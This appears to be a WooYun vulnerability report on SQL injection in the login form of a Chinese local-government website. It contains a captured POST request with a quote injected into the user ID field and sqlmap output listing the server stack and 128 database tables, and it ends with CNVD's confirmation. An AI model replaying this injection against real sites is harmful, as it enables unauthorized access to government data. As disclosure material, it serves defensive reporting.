a2DlTEwNstsfzV1YY1q%2Fj5uyi1ndFH4ybfLcqb8wOMUFq2avmzHAHLnu7jAUjHQau3k0IpD2TFU69VN0e5S6j441Tr%2B%2BlA05aT8LmYGSFXr4Gmuy5EW9Hnfe8QraYMSE9kWAHzDwWHIj81m1uQjDQpfmHelbbd8HyzN3Pg3O9NbPZJyihFDQ1Dp75qMiDRHYQ2ZRO%2BFWwJU5maNhyjVV9m28N%2F0VnfhoAe78LVx0wqJh0ZGfgVw2w3UFoQguVMwK1dSscxjthP3HHgagsd4Ag5jeaeZocxYkolbbPS%2F5KOaVTNxasJ%2F02hlBqerSYjDz7%2F4iO7A6YS6ES7INRh3W5aeOubRYM%2FGA1enZEe9pqZEeDqUbZ3hDKn9n199l5VFZYqorBVoVNNT18QqpPo3P5Ub%2FbBJvlyTvO5kTQBLjvozAgXo%2BixIvy2nNaSZfRHbNRNxyqh5jVNW3vlI1D6eOShFfpFZOCEl4exQFgzYbtAIJ1nNFx6eDOGPALm1WVe%2FMnK4yB1U5ahQZMSPIyOXPgiM%2BWekxu446LDtrW3QaRZdP7z9rrNV6Goekv%2F08LNpkNCuLdtrqXX3lsfDPBVhBqH2qorMMA5DshGcAZrov0uqp6mMsupQSB5%2FeT3GzxfpNoQvM%2By2jr5MiZlosNT4hhsFHD34f6yy3ALJiMvYK6QDxbSqS%2B2VOK8dp3Z0jeUrVyfUfozvkDnG5lmL6wiNsg5Zevq5hX9ze54W0iyi0JzKhQ%2F5MKxmnwcqv5NsL9jRrNsqmzyrjTECKOIFo01E33Y84%2FqBnMhY0cylKYjMFPyp39y1AsBpdE1VuKlDx0Y515xKUiPOtjJVFCLAjFi8M4M6oZyXz6S6qznvYO9xoNbe4VZY%2FQB4l%2FfAijSx%2F6sbQISYjzM5Tki%2FZ2RXp2%2FC2sDYoPqnyAMwIHGskFaM7ZYyx0gMEygPC3MS9LMzcPc30IEJCU9H4NFHnM9hmA1yGex5w%2F6%2FBzhkEta5LuKYUd9Hsjb3KSKStPQsUSSKLAmcj1Jstoa1TeMxZ50KTgidl3c3bbZNIdN71Y%2BNrNW41gHXeB7hbuABzkt3BMM4cyPeSg%2BQqYnF9FUjnQIVIfDh7GqA27y90FO%2B8WCmsfbmk4GArB9zMNNoTlLcE%2BhfbrbPhWEk5KB7bXwnJeSA3tSXQh%2BsI%2Fs0Z6hmerrt%2FGAurFxASUdg22ibTOBt%2Bt98d%2B3xlhC9bee04UI9rXR8EU4iPnB2yv29aKWtjt8n0efaie88NzvQ9mMXuScmalwlP7YiXYghFpXxCdrDztCAF2YDNwBIoAQMH%2FLjOxJdnvjbQAITu0TZlYND4jP8CylxzPhvC1DoxcLZTwEy5uzvwQoeiGEGClK0Na%2BBkGQYiKB5xK41IowwhH3RC2kV27DQF6%2FYi2oFqFpNhmrYSIFJoTFhwrHgRN%2FcptVpw39ijcVD5XslJwbAAuqxoiBvATe8U7YH8VHckbLt4FnkYHwXN3wHKdvqXocOXDeiwGCSwqL56%2F7V6Wg6ot%2FQiTiDbvkT47a8BNMF2%2FwMbwEOG9U57Hn9wibmcUPaw7EijGhemeC%2FDYZH3pNEgC8U5llJlu00oy19Gzvrpcvp2BXqE5sOEtAp8bkVfWepA926ngRGwR4bAYSlO000Dhs2kscqJ2HDa3QsRRJ2t3uZGStRoGkNJxi0nYqCV2COqIsyWaqfu6VfnYGYakBAAIfFUSI8mdt1%2BlTQY33DeA0YwGGQHsTMn7dnRSupbDeQ09Zi3ghg5M%2FFE7J5AvoOcE9LjED6hyNmC55W5Y4b1bY%2FvUxSVCQhvJcIHhLwLG6PFvE3DZJ0Sya4Ey8brbxpYiMD8ZrVXsBYPcvmTpXcXXVVZ6ge%2BsD5%2BgUFK3DSX7rQh0vUb3e%2B98xzxoUW8O50kBPoOXenvTGB1krRxuL6FfWOlTC3Hc84VA7oldb65nTBX7I6tTLr3R6SlRWJVowWiwaQtpbXiDG28g7nVn8ljmtvCpOw%2BMeqwzvGmXIJqFo62jEsFjLtWcG27jxnCF4N18rGg%2BDrjkkpgoVCVHw3DYhs37DRyoLAOJbb4PJoQcLJdk7mxDF7paSmwj%2FvR5O4%2FmMPXUZ%2BBLfVONYOVriAIxa3OHW3VgQt87ejX4s5xJZYfeNTLzoWtde%2FPhhHlyQWsi3uYKoqOrXZKnJioM1fpx9rOXxVQZKPpFY6mV4Xg%2FbILYTbREPHkIeF77pdZumtacyrRh4VRdUM6b19YQb%2F4ElWH4O%2Fi7qMsUWp23I8oKNvFZgHV1ud1UHeMdXSR0l%2BRb9Oq0FtZEv7xtaYEVt2%2Fr29kqD7vrYrBnEAQ%3D%3D&ctl00$ctl03$CtlBase_Htm_IptRecd=1&ctl00$ctl03$CtlBase_Htm_IptScrl=&ctl00$Content_Form$txtID=aaaa'&ctl00$Content_Form$txtPSW=aaa&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=hMP8kua0J4qaaicqXpoKD0YfuUqKMt%2F9iX8CV8uEJ8k%2FqlZvT30CwZ4OcXYhbLMcVykzDpjUnPT%2FKCG2YHr7m%2BZiYcb5Qffc7rZchFTY2iFIsJqfv7g%2BFY2dZbJIXXBv&ctl00$Content_Form$imageField3.x=21&ctl00$Content_Form$imageField3.y=12

1111.png




2222.png




[12:47:03] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[12:47:03] [INFO] fetching tables for database: FDW_500_NET
[12:47:03] [INFO] the SQL query used returns 128 entries
Database: FDW_500_NET
[128 tables]
+----------------+
| FDWACC         |
| FDWACD         |
| FDWACL         |
| FDWACR         |
| FDWACT         |
| FDWADH         |
| FDWAPD         |
| FDWAPR         |
| FDWAPT         |
| FDWBDH         |
| FDWBDJ         |
| FDWBDR         |
| FDWBDS         |
| FDWBIP         |
| FDWBIRXM       |
| FDWBLD         |
| FDWBNK         |
| FDWBNL         |
| FDWBXM         |
| FDWCNM         |
| FDWCOB         |
| FDWCOD         |
| FDWCOM         |
| FDWDTR         |
| FDWEMC         |
| FDWFAR         |
| FDWFCD         |
| FDWFTD         |
| FDWFTK         |
| FDWHCG         |
| FDWHOU         |
| FDWHPB         |
| FDWLAC         |
| FDWLAL         |
| FDWLBL         |
| FDWLBP         |
| FDWLBU         |
| FDWLCA         |
| FDWLIF         |
| FDWLPL         |
| FDWLTN         |
| FDWNOD         |
| FDWNOH         |
| FDWOCC         |
| FDWOCD         |
| FDWOIF         |
| FDWORG         |
| FDWPAC         |
| FDWPAD         |
| FDWPAL         |
| FDWPAY         |
| FDWPCC         |
| FDWPCD         |
| FDWPDH         |
| FDWPFC         |
| FDWPFH         |
| FDWPFN         |
| FDWPFY         |
| FDWPLD         |
| FDWPLY         |
| FDWPPB         |
| FDWPPD         |
| FDWPPJ         |
| FDWPPL         |
| FDWPPY         |
| FDWPRD         |
| FDWPRP         |
| FDWPSD         |
| FDWPSH         |
| FDWPTN         |
| FDWRAT         |
| FDWRLS         |
| FDWRPT         |
| FDWSAC         |
| FDWSAD         |
| FDWSBR         |
| FDWSEC         |
| FDWSRQ         |
| FDWSTR         |
| FDWTRD         |
| FDWTRN         |
| FDWTTD         |
| FDWTTT         |
| FDWVCB         |
| FDWVCH         |
| FDWVCP         |
| FDWVHH         |
| FDWVND         |
| FWSADV         |
| FWSCOM         |
| FWSDWN         |
| FWSFLE         |
| FWSFRC         |
| FWSLNK         |
| FWSNET         |
| FWSNIF         |
| FWSNME         |
| FWSNOP         |
| FWSNRG         |
| FWSNRL         |
| FWSORG         |
| FWSPAR         |
| FWSVIT         |
| FWSVOT         |
| SFTACS         |
| SFTCDE         |
| SFTCOD         |
| SFTCST         |
| SFTCTP         |
| SFTFGP         |
| SFTFLC         |
| SFTFUN         |
| SFTOST         |
| SFTPAR         |
| SFTPRG         |
| SFTPVL         |
| SFTRAC         |
| SFTROL         |
| SFTSET         |
| SFTSFU         |
| SFTSTF         |
| SFTSTT         |
| SFTUPD         |
| SFTUSE         |
| SFTUSR         |
| dtproperties   |
| sysconstraints |
| syssegments    |
+----------------+
[12:47:03] [INFO] fetched data logged to text files under 'C:\Users\k\.sqlmap\ou
tput\wyzj.wlgh.gov.cn'
[*] shutting down at 12:47:03

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-07-24 16:37

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT下发给浙江分中心,由其后续协调网站管理单位处置.

最新状态：

暂无

漏洞评价：

评论